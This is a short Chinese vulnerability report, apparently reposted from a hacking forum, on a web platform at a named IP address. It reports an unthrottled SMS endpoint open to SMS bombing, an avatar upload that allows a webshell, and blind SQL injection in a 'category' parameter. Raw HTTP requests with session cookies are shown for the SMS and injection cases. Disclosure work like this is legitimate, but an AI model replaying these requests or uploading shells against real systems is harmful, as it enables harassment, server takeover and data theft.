1.短信接口变身轰炸机
在大牛申请这个界面：http://119.254.70.121/bull/toBullAuthentication.html
没有对发送数量和时间限制，导致短信轰炸，连续发送了十几下，几秒钟全倒了
|
以下是代码片段：
POST /user/sendPhoneCodeAction.html HTTP/1.1
Host: 119.254.70.121
Proxy-Connection: keep-alive
Content-Length: 17
Accept: text/html, */*; q=0.01
Origin: http://119.254.70.121
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.99 Safari/537.36 LBBROWSER
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://119.254.70.121/bull/toBullAuthentication.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: phone=; password=; JSESSIONID=3C0EDECBF920D01F7FA771F19EA0689F
phone=***********
|
2 .上传漏洞
账号设置个人资料处：http://119.254.70.121/particulate/goPersonInfo.html
大牛申请：http://119.254.70.121/bull/toBullAuthentication.html
这两处都是对头像的上传，没有进行验证，直接shell
还是同上次那个一样将内网ip改成公网的
其他的就不测试了，都一样
3.SQL注入
这个没有跑出来数据库，但是绝对存在注入
|
以下是代码片段：
POST /classroom/selectCourse.html HTTP/1.1
Host: 119.254.70.121/classroom/selectCourse.html
Proxy-Connection: keep-alive
Content-Length: 202
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://119.254.70.121
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.99 Safari/537.36 LBBROWSER
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://119.254.70.121/classroom/classroom.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=9C7761AFA96E94C0283CF231DD7E54D0
pageNo=1&category=28%2C44%2C45%2C46%2C44%2C45%2C46%2C29%2C43%2C52%2C53%2C69%2C70%2C52%2C53%2C30%2C50%2C51%2C607%2C608%2C609%2C610%2C51%2C31%2C47%2C48%2C49%2C47%2C48%2C49'&sort=updateTime%3Adesc
|
category参数存在盲注，不过没有跑出来，不深入研究了
修复方案：
这个系统。。。没啥说的了，整改好了再上台吧
原文地址:https://hack.77169.com/201508/207589.shtm
官方 